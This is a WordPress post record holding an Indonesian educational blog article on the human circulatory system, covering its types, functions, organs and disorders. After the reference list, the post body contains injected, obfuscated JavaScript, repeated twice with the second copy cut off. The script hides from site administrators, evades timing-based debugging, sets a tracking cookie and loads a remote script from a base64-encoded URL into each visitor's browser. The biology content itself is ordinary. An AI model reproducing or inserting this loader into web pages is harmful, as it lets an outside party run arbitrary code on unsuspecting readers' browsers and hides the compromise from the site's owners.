{"id":851,"date":"2026-02-11T09:00:34","date_gmt":"2026-02-11T02:00:34","guid":{"rendered":"https:\/\/www.altaschool.id\/blog\/?p=851"},"modified":"2026-02-11T16:22:45","modified_gmt":"2026-02-11T09:22:45","slug":"sistem-peredaran-darah-manusia","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia","title":{"rendered":"Sistem Peredaran Darah Manusia: Macam, Fungsi, &#038; Gangguan"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6df174b0-fd06-4904-8885-93c356c637d1.png\" alt=\"sistem peredaran darah\" width=\"820\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, jenis-jenis, organ, hingga gangguan atau penyakit yang dapat menyerang sistem peredaran darah manusia!<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">&#8212;<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Tubuh manusia tersusun atas berbagai organ dan komponen yang saling bekerja sama membentuk satu-kesatuan sistem. Terdapat banyak sistem dalam tubuh manusia yang menjaga agar manusia tetap hidup sehat dan berfungsi sebagaimana mestinya. Salah satunya yaitu sistem peredaran darah.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Apa itu sistem peredaran darah manusia? Dalam artikel ini, akan dibahas secara lengkap mengenai sistem peredaran darah pada manusia. Yuk, kita kenali dan pelajari lebih dalam!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Sistem Peredaran Darah Manusia<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\"><strong>Sistem peredaran darah manusia<\/strong> adalah <strong>kumpulan organ yang bekerja sama untuk melakukan fungsi transportasi dalam tubuh manusia.<\/strong> Sistem ini disebut juga sebagai <strong>sistem kardiovaskuler<\/strong>. Sistem peredaran darah bertanggung jawab untuk mentransportasikan darah yang mengandung nutrisi, bahan sisa metabolisme, hormon, zat kekebalan tubuh, serta zat lainnya ke seluruh tubuh. Sehingga, tiap bagian tubuh akan mendapatkan nutrisi dan dapat membuang sisa metabolismenya ke dalam darah.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Apabila hormon telah tersalurkan dengan baik ke seluruh bagian tubuh yang membutuhkan, maka kecepatan metabolisme manusia pun akan menjadi teratur. Sistem ini juga menjamin pasokan zat kekebalan tubuh yang berlimpah pada bagian tubuh yang terluka, baik karena kecelakaan atau operasi, untuk mencegah infeksi di daerah tersebut. Dengan begitu, dapat disimpulkan bahwa sistem kardiovaskuler memiliki fungsi utama untuk mentransportasikan darah dan zat-zat yang dikandungnya ke seluruh bagian tubuh.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-organ-tubuh-manusia\">Mengenal Sistem Organ Tubuh Manusia dan Fungsinya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\">Gambar Sistem Peredaran Darah Manusia<\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Seperti apa gambar sistem peredaran darah manusia? Perhatikan gambar berikut ini!<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/4f0a8f62-191b-4d08-8d8c-70bb3e279cd5.png\" alt=\"gambar sistem peredaran darah manusia\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Gambar sistem peredaran darah manusia (Sumber: roboguru.com)<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berdasarkan gambar di atas, bisa dilihat bahwa sistem peredaran darah manusia dibedakan menjadi dua macam, yaitu sistem peredaran darah besar dan kecil. Oleh karena itu, sistem peredaran darah manusia disebut dengan sistem peredaran darah ganda.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Seperti apa penjelasan detail mengenai kedua macam sistem peredaran darah ini? Yuk, kita bahas!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Macam-Macam Sistem Peredaran Darah<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem peredaran darah manusia dibedakan menjadi dua macam, yaitu:<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Sistem Peredaran Darah Besar<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem peredaran darah besar adalah sirkulasi peredaran darah yang mengalir dari jantung ke seluruh tubuh, kemudian kembali ke jantung. Urutan siklus peredaran darah besar dapat dilihat pada gambar berikut ini.<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/4f60bae0-883e-4cd6-a6f9-f23e9f2684ee.png\" alt=\"sistem peredaran darah besar\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Gambar sistem peredaran darah besar (Sumber: gramedia.com)<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Urutan sistem peredaran darah besar yaitu: bilik kiri (4) \u2192 aorta (12) \u2192 arteri (6) \u2192 tubuh (7) \u2192 vena (5) \u2192 serambi kanan (1).<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Sistem Peredaran Darah Kecil<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem peredaran darah kecil adalah sirkulasi peredaran darah yang mengalir dari jantung ke paru-paru, kemudian kembali ke jantung. Urutan siklus peredaran darah kecil dapat dilihat pada gambar berikut ini.<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter \" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/4f60bae0-883e-4cd6-a6f9-f23e9f2684ee.png\" alt=\"sistem peredaran darah besar\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Gambar sistem peredaran darah kecil (Sumber: gramedia.com)<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Urutan sistem peredaran darah kecil yaitu: bilik kanan (3) \u2192 arteri pulmonalis (10) \u2192 paru-paru (8) \u2192 vena pulmonalis (11) \u2192 serambi kiri (2).<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Fungsi Sistem Peredaran Darah<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Fungsi utama dari sistem peredaran darah manusia adalah untuk mengedarkan oksigen dan nutrisi ke seluruh sel dan jaringan tubuh. Selain itu, sistem peredaran darah juga memiliki fungsi penting lainnya, antara lain:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-weight: 400;\">Mengeluarkan sisa proses metabolisme, seperti karbondioksida (CO<\/span><span style=\"font-weight: 400;\">2<\/span><span style=\"font-weight: 400;\">) yang dikeluarkan melalui paru-paru.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Mempertahankan berbagai sistem organ di dalam tubuh agar tetap bisa berfungsi dengan baik.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Menyalurkan berbagai hormon ke seluruh tubuh.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Mempercepat proses pemulihan luka.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Membantu stabilitas suhu dan pH tubuh.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/fotosintesis\">Fotosintesis, Pengertian, Faktor, Tempat Terjadi, &amp; Hasilnya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Organ Sistem Peredaran Darah<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Organ atau komponen dalam tubuh yang terlibat dalam sistem peredaran darah manusia ada tiga, yaitu darah, pembuluh darah, dan jantung. Untuk memahami masing-masing komponen, perhatikan pembahasannya berikut ini, ya!<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Jantung<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Organ atau komponen sistem peredaran darah manusia yang pertama dan yang utama yaitu jantung. Jantung adalah organ berukuran sekepalan tangan, yang berfungsi untuk memompa darah dan mengalirkannya ke seluruh tubuh dengan bantuan pembuluh darah.<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6c4dd98c-063c-4a20-8f46-8c4ab086e70f.jpg\" alt=\"organ jantung\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Gambar anatomi jantung (Sumber: alodokter.com)<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jantung terletak di rongga dada (<\/span><em><span style=\"font-weight: 400;\">thorax<\/span><\/em><span style=\"font-weight: 400;\">) dengan posisi cenderung terletak di sisi kiri. Jantung terdiri atas empat ruang jantung, yang dipisahkan oleh sekat-sekat jantung. Empat ruang jantung tersebut, yaitu:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-weight: 400;\">Serambi kanan (atrium kanan)<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Serambi kiri (atrium kiri)<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Bilik kanan (ventrikel kanan)<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Bilik kiri (ventrikel kiri)<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Empat ruang pada jantung ini berfungsi untuk memisahkan darah yang mengandung oksigen dengan darah yang mengandung karbondioksida. Atrium kanan dan kiri memiliki ukuran yang sama, demikian juga ventrikel kanan dan kiri. Atrium dibatasi oleh otot jantung dan sekat yang tipis, sedangkan bagian ventrikel dibatasi oleh otot jantung dan sekat interventrikuler yang tebal.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Darah<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Organ atau komponen sistem peredaran darah manusia yang kedua yaitu darah. Darah merupakan komponen dalam tubuh yang berfungsi untuk mengangkut bahan atau zat makanan, oksigen, hormon, serta sisa-sisa metabolisme di dalam tubuh manusia. Darah juga berperan untuk menjaga kadar asam-basa cairan tubuh, serta mengontrol suhu di tubuh kita.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/4dee2222-21ad-49ab-b047-d4096523d5b3.jpg\" alt=\"Gambar komponen penyusun darah\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Gambar komponen penyusun darah (Sumber: bobo.grid.id)<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Darah terdiri atas dua komponen utama, yaitu:<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>a. Plasma Darah<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Merupakan komponen penyusun darah yang paling banyak. Plasma darah terdiri atas mineral, protein-protein darah, antibodi, nutrisi, hormon, gas terlarut, serta zat hasil ekskresi.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>b. Sel-Sel Darah<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Merupakan komponen penyusun darah yang terdiri atas tiga jenis, yaitu sel darah merah,\u00a0 sel darah putih, dan keping darah.\u00a0<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li aria-level=\"1\"><strong>Sel Darah Merah (Eritrosit)<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u2192 Membawa hemoglobin yang mengikat oksigen dari paru-paru menuju jaringan lain di tubuh.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u2192 Mengangkut hemoglobin yang mengikat karbondioksida kembali ke paru-paru, untuk melanjutkan siklus pernapasan manusia.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li aria-level=\"1\"><strong>Sel Darah Putih (Leukosit)<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u2192 Ukurannya lebih besar dari sel darah merah.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u2192 Menjaga kekebalan dan pertahanan tubuh.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u2192 Menetralkan bakteri dan kuman yang masuk untuk mencegah terjadinya infeksi yang lebih parah.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li aria-level=\"1\"><strong>Keping Darah (Trombosit)<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u2192 Berfungsi untuk menggumpalkan darah untuk mengurangi darah yang keluar ketika terjadi luka terbuka pada manusia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. Pembuluh Darah<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Organ atau komponen sistem peredaran darah manusia yang terakhir yaitu pembuluh darah. Pembuluh darah memiliki bentuk seperti pipa dan berfungsi untuk mengalirkan darah. Pembuluh darah pada manusia terdiri atas 3 jenis, yaitu:<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>a. Pembuluh Darah Nadi (Arteri)<\/b><\/h4>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Berfungsi untuk membawa darah yang kaya oksigen keluar dari jantung.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Memiliki dinding tebal dan lapisan otot yang dapat membantu darah mengalir.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Arteri terbesar dalam tubuh manusia disebut aorta, yang bertugas untuk membawa darah dari jantung menuju organ-organ di seluruh tubuh.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Arteri juga memiliki cabang-cabang yang lebih kecil, yang disebut sebagai arteriol.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4 style=\"text-align: justify;\"><b>b. Pembuluh Darah Balik (Vena)<\/b><\/h4>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Berfungsi membawa darah kembali ke jantung.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Terletak di pergelangan tangan, bentuknya memanjang, dan berwarna hijau kebiruan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Vena tidak memiliki lapisan otot seperti arteri, tetapi memiliki katup-katup yang menjaga aliran darah agar tetap sesuai dengan yang dibutuhkan tubuh.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4 style=\"text-align: justify;\"><b>c. Pembuluh Darah Kapiler<\/b><\/h4>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Merupakan jenis pembuluh darah terkecil, dengan dinding hanya setebal satu sel dan terbuat dari sel-sel endotel.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Berfungsi sebagai tempat pertukaran zat, seperti oksigen, karbondioksida, nutrien, zat kimia, maupun sisa metabolisme.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Menghubungkan antara arteri dengan vena.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Gangguan pada Sistem Peredaran Darah<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terdapat beberapa gangguan pada sistem peredaran darah atau penyakit yang bisa menyerang organ maupun komponen dalam sistem peredaran darah. Beberapa gangguan atau penyakit tersebut antara lain dijelaskan di bawah ini.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Penyakit dan Kelainan pada Jantung<\/b><\/span><\/h3>\n<p>Ada beberapa penyakit dan kelainan yang mungkin terjadi pada jantung, yaitu:<\/p>\n<h4 style=\"text-align: justify;\"><b>a. Angina<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Angina adalah kondisi kurangnya pasokan darah atau suplai oksigen ke otot jantung akibat penyempitan dan penyumbatan yang terjadi pada pembuluh arteri jantung. Kondisi tersebut menyebabkan dada menjadi nyeri.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>b. Aritmia<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Aritmia adalah gangguan yang mengakibatkan irama jantung tidak teratur. Jantung tidak berdetak secara normal, melainkan menjadi berdetak lebih cepat atau berdetak lebih lambat.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>c. Cardiomyopathy<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Cardiomyopathy merupakan kelainan pada otot jantung, baik secara struktur maupun secara fungsi, yang mengakibatkan otot jantung melemah. Otot jantung yang lemah akan berakibat pada berkurangnya kemampuan jantung untuk memompa darah ke seluruh tubuh.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>d. Penyakit Jantung Koroner (PJK)<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penyakit Jantung Koroner (PJK) terjadi karena pasokan darah yang mengandung banyak oksigen tidak berhasil mencapai otot jantung karena ada plak pada arteri koroner.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/hewan-karnivora\">Pengertian Hewan Karnivora, Ciri, Contoh &amp; Perannya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. Penyakit dan Kelainan pada Darah<\/b><\/span><\/h3>\n<p>Selain jantung, berikut ini adalah beberapa penyakit dan kelainan yang mungkin terjadi pada darah:<\/p>\n<h4 style=\"text-align: justify;\"><b>a. Anemia<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Anemia merupakan penyakit yang terjadi akibat kekurangan hemoglobin di dalam darah. Kurangnya hemoglobin dapat terjadi karena penderita anemia juga menderita kekurangan eritrosit dan kekurangan volume darah itu sendiri. Penyakit ini juga dapat disebabkan oleh kekurangan ion K, zat besi, dan kekurangan vitamin B12.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>b. Leukemia<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Leukemia juga dikenal dengan sebutan kanker darah. Penyakit ini disebabkan oleh kelebihan produksi sel darah putih yang jumlahnya abnormal. Sel darah putih tersebut akan \u201cmemakan\u201d eritrosit dan menyebabkan menurunnya jumlah eritrosit.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>c. Hipertensi<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Hipertensi disebut juga dengan penyakit tekanan darah tinggi. Seseorang disebut menderita hipertensi jika tekanan sistol dan diastolnya lebih dari 140\/90 mmHg. Jika tekanan darah terlalu tinggi, maka dapat menyebabkan pembuluh darah pecah.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>d. Hipotensi<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Hipotensi adalah kebalikan dari hipertensi. Hipotensi disebut juga sebagai penyakit tekanan darah rendah. Hipotensi adalah kondisi ketika tekanan darah manusia kurang dari 90\/60 mmHg.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>e. Hemofilia<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Hemofilia adalah kelainan pada darah yang disebabkan oleh faktor genetika. Hemofilia menyebabkan darah sulit membeku, sehingga apabila terluka, maka darah akan cenderung mengalir secara terus-menerus.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>f. Thalassemia<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Thalassemia merupakan penyakit yang disebabkan oleh kelainan pada hemoglobin, sehingga menyebabkan bentuk sel darah merah tidak berbentuk cakram bikonkaf seperti sel darah merah normal, akibatnya kemampuan sel darah merah mengangkut oksigen akan berkurang.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. Penyakit dan Kelainan pada Pembuluh Darah<\/b><\/span><\/h3>\n<p>Nah, selanjutnya ayo kenali penyakit dan kelainan yang dapat terjadi pada pembuluh darah:<\/p>\n<h4 style=\"text-align: justify;\"><b>a. Varises<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Varises merupakan pembesaran yang terjadi pada pembuluh darah vena, yang umumnya menyerang bagian kaki. Varises ini terjadi karena penumpukan darah pada pembuluh darah di kaki.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>b. Trombus<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Trombus adalah kelainan yang mengakibatkan adanya gumpalan bekuan darah yang kemudian menyumbat pembuluh darah di tempat terjadinya kerusakan. Trombus bisa terjadi karena adanya disfungsi endotel.<\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>c. Embolus<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Embolus merupakan kelainan berupa gumpalan bekuan darah yang bergerak di sistem sirkulasi dan kemudian terjebak di dalam pembuluh darah kecil. Pembuluh darah ini bisa kehilangan elastisitasnya karena ada sumbatan. Sumbatan tersebut juga dapat menyebabkan dua penyakit lainnya, yaitu ateroskleros dan ateriosklerosis. Ateroskleros adalah penyumbatan yang disebabkan oleh lemak, sedangkan Ateriosklerosis merupakan penyumbatan yang disebabkan oleh zat kapur.<\/span><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Demikian penjelasan lengkap mengenai sistem peredaran darah manusia, meliputi pengertian, fungsi, macam-macam, organ yang terlibat di dalamnya, hingga gangguan atau penyakit yang dapat menyerang sistem peredaran darah manusia. Semoga artikel ini dapat membantu seluruh pembaca yang ingin belajar tentang sistem peredaran darah, ya!<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Yuk, belajar lebih banyak tentang manusia dan makhluk hidup lainnya lewat <\/span><strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School by Ruangguru<\/a><\/strong>!\u00a0<b><\/b>Alta Global School menyediakan sistem\u00a0<em>blended learning<\/em>, gabungan pembelajaran daring dan luring, mulai dari\u00a0<em>preschool<\/em>\u00a0sampai\u00a0<em>high school<\/em><em>,<\/em>\u00a0dengan\u00a0<em>Champions Curriculum<\/em>\u00a0yang menggabungkan kurikulum internasional dan nasional. Yuk, daftar sekarang juga!<\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan klik gambar di bawah ini!<\/strong><\/p>\n<p><a href=\"https:\/\/form.jotform.com\/250607704125450\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/8f335b78-3dbf-4413-9ebf-faccfe12d155.png\" alt=\"free trial\" width=\"1024\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Referensi:<\/strong><\/p>\n<p style=\"text-align: justify;\">detik.com\/edu\/detikpedia\/d-6627155\/sistem-peredaran-darah-manusia-dan-organ-organ-yang-terlibat<\/p>\n<p style=\"text-align: justify;\">hellosehat.com\/jantung\/sistem-peredaran-darah-manusia\/<\/p>\n<p style=\"text-align: justify;\">halodoc.com\/artikel\/mengenal-lebih-dekat-sistem-peredaran-darah-pada-manusia<\/p>\n<p style=\"text-align: justify;\">umsu.ac.id\/artikel\/sistem-peredaran-darah-menjaga-kehidupan-dalam-jantung-kita\/<\/p>\n<p style=\"text-align: justify;\">ruangguru.com\/blog\/sistem-peredaran-darah<\/p>\n<p style=\"text-align: justify;\">ruangguru.com\/blog\/biologi-kelas-11-apa-saja-penyakit-dan-kelainan-pada-sistem-peredaran-darah<\/p>\n<p style=\"text-align: justify;\">simdos.unud.ac.id\/uploads\/file_pendidikan_dir\/c74dcbefb92c3d50bc90736d17bcea57.pdf<\/p>\n<p style=\"text-align: justify;\">gramedia.com\/literasi\/urutan-sistem-peredaran-darah-besar\/<\/p>\n<p style=\"text-align: justify;\"><em>(Diakses: 4 Januari 2024)<\/em><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Sumber gambar:<\/strong><\/p>\n<p style=\"text-align: justify;\">gramedia.com\/literasi\/urutan-sistem-peredaran-darah-besar\/<\/p>\n<p style=\"text-align: justify;\">imgix2.ruangguru.com\/assets\/miscellaneous\/png_ojgfue_4168.png<\/p>\n<p style=\"text-align: justify;\">alodokter.com\/menilik-anatomi-jantung-dan-cara-kerjanya<\/p>\n<p style=\"text-align: justify;\">bobo.grid.id\/amp\/083253403\/contoh-soal-dan-pembahasan-materi-tentang-komponen-penyusun-darah<\/p>\n<p style=\"text-align: justify;\"><em>(Diakses: 4 Januari 2024)<\/em><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 